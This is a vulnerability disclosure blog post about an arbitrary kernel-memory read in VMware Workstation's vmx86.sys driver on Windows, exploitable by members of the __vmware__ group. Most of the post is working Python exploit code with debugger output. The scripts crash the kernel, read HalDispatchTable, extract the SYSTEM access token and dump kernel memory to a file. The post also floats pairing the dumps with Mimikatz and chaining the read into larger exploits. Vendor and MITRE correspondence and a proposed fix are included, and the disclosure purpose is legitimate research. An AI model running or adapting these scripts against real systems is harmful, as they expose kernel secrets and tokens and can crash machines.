During a recent review of the VMWare Workstation application,
I discovered a method that allows any member of the __vmware__
group to extract arbitrary sections of kernel memory. When you
consider the fact that members of this group are not required to
already have administrative privileges, this suddenly becomes
a significant vulnerability in the sense that it implies that
otherwise unprivileged users now have the means to extract and
subsequently use/abuse sensitive data like process-level tokens,
encryption keys, etc. Needless to say, this poses a significant
security risk to any organization that allows unprivileged users
to operate virtual machines by way of the __vmware__ group.
To date, VMWare has declined to mitigate this vulnerability
despite the detailed evidence we have provided and our repeated
attempts to convince them that there is an underlying design
flaw here that needs to be addressed. Also
note that this vulnerability, officially documented here,
has not been assigned a CVE identifier because MITRE declined to
do so.
The VMWare Workstation application uses a driver named vmx86.sys
that supports various operations relating to guest operating
system emulation and interaction. Our research has uncovered this
vulnerability in Microsoft Windows XP Service Pack 3 and Windows 7
(x86). It is likely that Windows Server 2003 is impacted as well;
other VMWare software such as Player may also be impacted.
In order to execute the IOCTL within the affected driver, the user
must belong to the __vmware__ group. According
to VMWare an unprivileged user does not have to belong to this group
to run VMs as long as the vmware-authd.exe service is running. I
have confirmed this to be the case.
By leveraging this vulnerability, an unprivileged user will be
able to extract any memory that resides within the kernel. Kernel
memory contains sensitive information relating not just to process
privilege level, but many other security aspects of the operating
system as well.
VMWare has indicated that they do not consider this an actionable
security issue. However, as this vulnerability is trivially exploited,
they agreed consumers should be advised to not assign untrusted users
to the __vmware__ group. Consequently, VMWare has since published
Knowledge Base article 2089333,
which "describes the use case and security considerations" of the
__vmware__ group.
However, there's more to it than that. I have confirmed that
the access afforded by the __vmware__ group is greater than that a
typical administrator would enjoy. In fact, the access is effectively
equivalent to that of the SYSTEM user. I go into more detail about
this later in the blog, but first, let me show you how the issue
can be triggered.
The code shown below triggers the issue by forcing a memory read
at a blatantly invalid address (0xffff0000).
from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
from binascii import hexlify
from re import findall
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0
handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
print "[!] Could not open handle, is user part of the __vmware__ group?"
exit(1)
print "[+] Handle \\\\.\\vmx86 @ %s" % (handle)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x100)),0x1000|0x2000,0x40)
buf = pack('<L',0xcccccccc)*100
WriteProcessMemory(-1,0x100,buf,len(buf),byref(c_int(0)))
inputBuffer = pack('<L',0xffff0000) + pack('<L',0x41414141)
DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x75,0xff)
if (GetLastError() != 0):
print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError()))
exit(1)
CloseHandle(handle)
Upon review of the crash dump output produced by executing the
code above, it's evident that 0xffff0000 has been referenced and
subsequently moved into the attacker-controlled ESI register.
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: ffff0000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 82c727f3, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
....
eax=ffff00ff ebx=872b20f0 ecx=0000003f edx=00000003 esi=ffff0000 edi=87ec7740
eip=82c517f3 esp=9b3b7a54 ebp=9b3b7a5c iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
nt!memcpy+0x33:
82c517f3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope
LAST_CONTROL_TRANSFER: from 82c593d8 to 82ca641b
STACK_TEXT:
9b3b79c8 82c593d8 00000000 ffff0000 00000000 nt!MmAccessFault+0x106
9b3b79c8 82c517f3 00000000 ffff0000 00000000 nt!KiTrap0E+0xdc
9b3b7a5c 977c7bd6 87ec7740 ffff0000 000000ff nt!memcpy+0x33
WARNING: Stack unwind information not available. Following frames may be wrong.
9b3b7ad0 977c829a 87ec7740 00000008 87ec7740 vmx86+0xbd6
9b3b7afc 82c4f593 872b2d70 872b20d8 872b20d8 vmx86+0x129a
9b3b7b14 82e4399f 85a82140 872b20d8 872b2148 nt!IofCallDriver+0x63
9b3b7b34 82e46b71 872b2d70 85a82140 00000000 nt!IopSynchronousServiceTail+0x1f8
9b3b7bd0 82e8d3f4 872b2d70 872b20d8 00000000 nt!IopXxxControlFile+0x6aa
9b3b7c04 82c561ea 00000078 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
9b3b7c04 777570b4 00000078 00000000 00000000 nt!KiFastCallEntry+0x12a
0021fa5c 00000000 00000000 00000000 00000000 0x777570b4
From here, I concluded that I could read any arbitrary section
of memory. The code shown below demonstrates one technique for
doing just that.
from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
from binascii import hexlify
from re import findall
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0
# thanks to offsec for the concept
# I re-wrote the code as to not fully insult them :)
def getBase(name=None):
retArray = c_ulong*1024
ImageBase = retArray()
callback = c_int(1024)
cbNeeded = c_long()
EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
for base in ImageBase:
driverName = c_char_p("\x00"*1024)
GetDeviceDriverBaseNameA(base,driverName,48)
if (name):
if (driverName.value.lower() == name):
return base
else:
return (base,driverName.value)
return None
handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
print "[!] Could not open handle, is user part of the __vmware__ group?"
exit(1)
print "[+] Handle \\\\.\\vmx86 @ %s" % (handle)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40)
kBase,kVer = getBase()
hKernel = LoadLibraryExA(kVer,0,1)
HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += kBase
HalDispatchTable += 0x4
inputBuffer = pack('<L',HalDispatchTable) + "\x41"*4
DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x25,0x4)
if (GetLastError() != 0):
print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError()))
exit(1)
data = create_string_buffer(0x4)
if (ReadProcessMemory(-1,0x25,byref(data),0x4,byref(c_ulong(0))) == 1):
kValue = ""
for i in findall('..',hexlify(data)[::-1]):
kValue+=i[::-1]
print "[+] HalDispatchTable+0x4(%s) == %s" % (hex(HalDispatchTable)[:-1],kValue)
else:
print "[!] could not read output memory."
CloseHandle(handle)
Reviewing the output produced by executing the above code will
illustrate how an attacker can read arbitrary sections of memory
from the kernel.
eax=00000000 ebx=00000000 ecx=0021fe68 edx=00000020 esi=778e7380 edi=778e7340
eip=778570b4 esp=0021feb8 ebp=0021fed4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
778570b4 c3 ret
0:000> db 0x25 L?0x4
00000025 a2 68 04 83
[+] Handle \\.\vmx86 @ 120
[+] HalDispatchTable+0x4(0x82d383fc) == 830468a2
Another example would be to extract the SYSTEM Access Token from
PID four (4):
lkd> !process 0 1
**** NT ACTIVE PROCESS DUMP ****
PROCESS 853ca020 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 8a401b28 HandleCount: 983.
Image: System
...
lkd> !exts.token -n 8a401270
_TOKEN 8a401270
TS Session ID: 0
User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
...
lkd> db 0x8a401270 L?0x1dc
8a401270 2a 53 59 53 54 45 4d 2a-00 00 00 00 00 00 00 00 *SYSTEM*........
8a401280 ea 03 00 00 00 00 00 00-e7 03 00 00 00 00 00 00 ................
8a401290 00 00 00 00 00 00 00 00-90 eb 4c b6 26 75 20 06 ..........L.&u .
8a4012a0 00 df 34 85 eb 03 00 00-00 00 00 00 00 00 00 00 ..4.............
8a4012b0 bc ff ff f2 0f 00 00 00-90 e8 b1 60 0e 00 00 00 ...........`....
8a4012c0 90 e8 b1 60 0e 00 00 00-00 00 00 00 00 00 00 00 ...`............
8a4012d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
8a4012e0 00 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00 ................
8a4012f0 70 00 00 00 00 04 00 00-00 00 00 00 01 00 00 00 p...............
8a401300 4c 14 40 8a 00 00 00 00-08 12 40 8a 08 12 40 8a L.@.......@...@.
8a401310 14 12 40 8a 01 00 00 00-00 00 00 00 00 20 00 00 ..@.......... ..
8a401320 01 00 00 00 04 00 00 00-01 00 00 00 f8 15 40 8a ..............@.
8a401330 00 00 00 00 00 00 00 00-05 00 00 00 4c 14 40 8a ............L.@.
8a401340 16 00 00 00 00 00 00 00-01 00 00 00 00 00 00 00 ................
8a401350 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
8a401360 00 00 00 00 00 00 00 00-00 00 00 00 08 00 00 00 ................
8a401370 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
8a401380 1c 00 00 00 01 00 00 00-02 00 00 00 00 00 00 00 ................
8a401390 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
8a4013a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
8a4013b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
8a4013c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
8a4013d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
8a4013e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
8a4013f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
8a401400 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
8a401410 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
8a401420 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
8a401430 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
8a401440 00 00 00 00 00 00 00 00-20 15 40 8a ........ .@.
C:\Users\<removed>\Desktop>C:\Python27\python.exe kl-vmware-token-theft-poc1.py
[+] Handle \\.\vmx86 @ 120
2a 53 59 53 54 45 4d 2a 00 00 00 00 00 00 00 00 ea 03 00 00 00 00 00 00 e7 03 00
00 00 00 00 00 00 00 00 00 00 00 00 00 90 eb 4c b6 26 75 20 06 00 df 34 85 eb 0
3 00 00 00 00 00 00 00 00 00 00 bc ff ff f2 0f 00 00 00 90 e8 b1 60 0e 00 00 00
90 e8 b1 60 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 70 00 00 00 00 0
4 00 00 00 00 00 00 01 00 00 00 4c 14 40 8a 00 00 00 00 08 12 40 8a 08 12 40 8a
14 12 40 8a 01 00 00 00 00 00 00 00 00 20 00 00 01 00 00 00 04 00 00 00 01 00 00
00 f8 15 40 8a 00 00 00 00 00 00 00 00 05 00 00 00 4c 14 40 8a 16 00 00 00 00 0
0 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 1c 00 00 00 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 15 40 8a
[*] caught system token
To obtain your current token, modify the address passed to
pack() in the code shown below. If you enable /DEBUG, attach
Windbg to the kernel and use !process 0 1 followed by !exts.token
-n , you can verify that the code functions as shown
above.
from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
from binascii import hexlify
from re import findall
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0
handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
print "[!] Could not open handle, is user part of the __vmware__ group?"
exit(1)
print "[+] Handle \\\\.\\vmx86 @ %s" % (handle)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40)
inputBuffer = pack('<L',0x8a401270)+"\x41"*4
DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x25,0x1dc)
if (GetLastError() != 0):
print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError()))
exit(1)
data = create_string_buffer(0x1dc)
if (ReadProcessMemory(-1,0x25,byref(data),0x1dc,byref(c_ulong(0))) == 1):
kValue = ""
for i in findall('..',hexlify(data)[::]):
kValue+=i[::]
kValue+=""
print "%s" % (kValue)
if ("2a 53 59 53 54 45 4d 2a" in kValue):
print "[*] caught system token"
else:
print "[!] could not read output memory."
CloseHandle(handle)
This technique can be modified slightly to extract large sections
of kernel memory as an unprivileged user.
from ctypes import *
from struct import pack
from sys import exit
from binascii import hexlify
from re import findall
from time import sleep
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0
# thanks to offsec for the concept
# I re-wrote the code as to not fully insult them :)
def getBase(name=None):
retArray = c_ulong*1024
ImageBase = retArray()
callback = c_int(1024)
cbNeeded = c_long()
EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
for base in ImageBase:
driverName = c_char_p("\x00"*1024)
GetDeviceDriverBaseNameA(base,driverName,48)
if (name):
if (driverName.value.lower() == name):
return base
else:
return (base,driverName.value)
return None
kBase,kVer = getBase()
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
kernelMem,address = "",kBase
print "total size %s in %s calls" % (0xffffffff-kBase,(0xffffffff-kBase)/0xffff)
while True:
handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
print "[!] Could not open handle, is user part of the __vmware__ group?"
exit(1)
if (address == 0xffffffff):
break
else:
inputBuffer = pack('<L',address) + "\x41"*4
DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x25,0xffff)
if (GetLastError() != 0):
print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError()))
exit(1)
data = create_string_buffer(0xffff)
if (ReadProcessMemory(-1,0x25,byref(data),0xffff,byref(c_ulong(0))) == 1):
kValue = ""
for i in findall('..',hexlify(data)[::-1]):
try:
kValue+=pack('B',int(i,16))
except:
print "[!] could not pack() byte, skipping to the next byte"
print "dumping 0xffff at %s, size so far %s" % (hex(address)[:-1],len(kernelMem))
kernelMem+=kValue
fp = open("kernel.out","a+")
fp.write(kernelMem)
fp.close()
address+=0xffff
CloseHandle(handle)
sleep(0.1)
print len(kernelMem)
The technique illustrated above will write the kernel contents
to a file named 'kernel.out' in the local directory with one caveat:
I have yet to figure out a reliable way to validate the kernel-land
address from user-land. This is something I shouldn't be able to do
as an unprivileged user. As a result, a typical Windows BSOD will
occur once an unallocated address is referenced. You can adjust
the input address to something more interesting if you care to.
<removed>:<removed> <removed>$ hexdump -C kernel.out|more
00000000 66 1d b8 03 1c 38 ff ff ef 59 28 f0 2c b3 66 a0 |f....8...Y(.,.f.|
00000010 2c 38 b2 27 2c b3 66 1d b8 00 00 71 0e 9b ff ff |,8.',.f....q....|
00000020 ef da 28 f0 2c b3 66 a0 2c 38 34 27 2c b3 66 1d |..(.,.f.,84',.f.|
00000030 b8 00 00 01 04 9b ff ff ef 5c 28 f0 2c b3 66 00 |.........\(.,.f.|
00000040 00 f0 a2 ab d5 27 2c b3 66 1d b8 05 1c 38 ff ff |.....',.f....8..|
Interestingly enough, VMWare makes a comparison between __vmware__
and the Power Users/Administrator groups within Windows. I was
particularly curious about this "The _vmware_ group is similar in
concept to the Windows 2000/XP built-in Power Users group." and
"Users in the _vmware_ group effectively have administrative
privileges." My experience had taught me that neither a Power User
or even Administrator could directly call memcpy() with
a kernel address and get anything except a ERROR_NOACCESS. However,
I decided to give them the benefit of the doubt and write some code
to test the theory.
To do that, I simply modified the code shown above to calculate
the address of the first entry in the HalDispatchTable and
subsequently read that four-byte value using memcpy().
from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
from binascii import hexlify
from re import findall
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
memcpy = windll.msvcrt.memcpy
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0
def getBase(name=None):
retArray = c_ulong*1024
ImageBase = retArray()
callback = c_int(1024)
cbNeeded = c_long()
EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
for base in ImageBase:
driverName = c_char_p("\x00"*1024)
GetDeviceDriverBaseNameA(base,driverName,48)
if (name):
if (driverName.value.lower() == name):
return base
else:
return (base,driverName.value)
return None
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40)
kBase,kVer = getBase()
hKernel = LoadLibraryExA(kVer,0,1)
HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += kBase
HalDispatchTable += 0x4
try:
memcpy(0x10,HalDispatchTable ,0x4)
except WindowsError as e:
print "[!] caught error: %s" % (e)
if (ReadProcessMemory(-1,HalDispatchTable,0x10,0x4,byref(c_ulong(0))) == 1):
kValue = ""
for i in findall('..',hexlify(data)[::-1]):
kValue+=i[::-1]
print "[+] HalDispatchTable+0x4(%s) == %s" % (hex(HalDispatchTable)[:-1],kValue)
else:
print "[!] could not read output memory.\nGetLastError() == %s" % (hex(GetLastError()))
And then, I ran it. The output produced by executing the above
code was as follows:
C:\Users\<removed>\Desktop>C:\Python27\python.exe kl-powerUser-kernelRead-testcase1.py
[!] caught error: exception: access violation reading 0x82D393FC
[!] could not read output memory.
GetLastError() == 0x3e6
As expected, an error, ERROR_NOACCESS (i.e., 0x3e6), occurred.
I subsequently ran this code from the context of a Power User as well
as an Administrator, and in both cases, the results were identical
-- access denied. In other words, the tests confirmed that neither
context, in its normal/default state, is sufficient to achieve the same
level of access as was achieved by a user in the __vmware__ group.
It is my understanding that an Administrator can only read kernel
memory if the boot manager has /DEBUG ON and only through WinDbg/KD
or equivalent APIs.
The API function memcpy() fails because it can only
access memory addresses within the process executing the call. If
this call is happening from kernel-mode, then the API call should
function as suggested. This is not the case from user-land when
providing the call a kernel-land memory address, regardless of whether
the user is an Administrator or not.
Therefore, not only does this vulnerability reside in the kernel,
but the evidence collected also fails to support VMWare's points of
comparison. It can be concluded that the evidence better supports
that the points of comparison are between __vmware__ and SYSTEM. To
that end, it isn't sound security practice to provide Administrators
with a mechanism to issue what is essentially a SYSTEM privilege,
one which cannot easily be executed by even the Administrator,
to a user with otherwise limited privileges.
Now, we know that there are ways that Power Users and
Administrators can obtain SYSTEM privileges, but those ways typically
involve clearing some additional hurdles. With this particular
vulnerability, it's as though all hurdles have been set aside.
So, what can someone do for fun with this vulnerability? There
are two cases I have thought of where this can be applied relatively
easily to achieve some interesting results:
- In my last post, I talked about a classic class of vulnerability
known as write-what-where. While working on validating the
shellcode used in that post, I had to use WinDbg to read
nt!_token and a few other things from the kernel. An arbitrary
read such as the one I have touched on in this blog post would
allow an attacker to develop robust exploits that may leverage
more than one vulnerability to accomplish their overall goal.
- Read about the Microsoft .DMP file format and craft some
code to create files that can load into WinDbg. Interesting
plug-ins for Windbg exist, such as Mimikatz.
While I can envision several methods for solving this
vulnerability, one in particular is rather simple. The goal is to
prevent an unprivileged user from being able to control the kernel
memory address to be read. A FIFO queue could solve the issue by
leveraging one IOCTL which will allocate and populate the required
memory within the kernel, and add a pointer for that memory to the
queue. A second IOCTL could then be used to provide the user with
the memory from the address within the queue. This would remove
the need for the unprivileged user to control the kernel memory
address to be read, and thus, fix the vulnerability.
During the interaction our program manager had with VMWare,
they provided a final response regarding the vulnerability; quoted
with identifying information redacted:
Hi [KoreLogic],
We have re-reviewed your report and we believe that this is not a
vulnerability for the following reasons:
1) Users must be manually added to the privileged group _vmware_
2) Default configuration of the product does not add users to this group
3) The permissions granted by this group are what is required for the
product to function if authd service is not running.
However, we do feel that the omission of the _vmware_ group in our
documentation is a problem. We have written a VMware Knowledge Base
article documenting the group, its effective permissions, and usage here:
http://kb.vmware.com/kb/2089333
We would like to acknowledge your assistance with the issue and add
following statement to the Knowledge Base article:
VMware would like to thank from Korelogic, Inc. for working with
us on documenting this issue.
Please let us know which name to use in above acknowledgement.
If you are planning on announcing the findings of your team, we would
highly appreciate it you could refer to our Knowledge Base article.
Thank you again for the report.
----
I personally derived one thing from this response. It's
apparently considered a feature and not a vulnerability. I guess we're free to
enjoy this newly documented 'feature' in VMWare Workstation! :)
All joking aside, I am slightly confused as to why VMWare
has declined to patch this obvious issue. I do not maintain that
this vulnerability is the worst out there right now (it
isn't), but at the very least, I think it requires the vendor to take
responsibility by creating an appropriate patch. I welcome a continued conversation
with VMWare about this vulnerability and the concepts I think can
help prevent exploitation from occurring.
When KoreLogic requested a CVE identifier for this vulnerability,
MITRE indicated that none would be assigned.
Subject: Re: CVE-ID Request
Date: Wed, 22 Oct 2014 19:04:12 -0400 (EDT)
From: cve-assign@mitre.org
To: disclosures@korelogic.com
CC: cve-assign@mitre.org
> The vendor's viewpoint is that it is not a vulnerability and therefore
> no patch is needed.
>> The type of attacker in this case is an unprivileged local user with
> membership in the __vmware__ group.
>> A vulnerability within the vmx86 driver allows an attacker to specify a
>> memory address within the kernel and have the memory stored at that
>> address be returned to the attacker. Thus, this is an arbitrary read due
>> to improper input validation (CWE-20).
There is no CVE ID assignment for this. From our perspective, the vendor
is entitled to define a security policy in which this read access is
considered an acceptable risk, given __vmware__ group membership.
If __vmware__ were the equivalent of Power User or even
Administrator, I would agree with MITRE. My thought would be that
having multiple groups effectively equivalent to each other is bad
practice, but I can see not issuing a CVE for THAT. The vulnerability
that I discovered, however, is not equivalent to a Power
User or even an Administrator. It's a vulnerability that effectively
grants SYSTEM access!
In my opinion, any use of the __vmware__ group as currently
implemented is a risk, and unless you're comfortable giving away
SYSTEM access, you should avoid this group entirely. Furthermore,
I assert that this vulnerability clearly violates protection
ring design principles. That being said, the fix is also pretty
straight-forward: prevent unprivileged users from being able to
control the kernel memory address and amount of data to be read.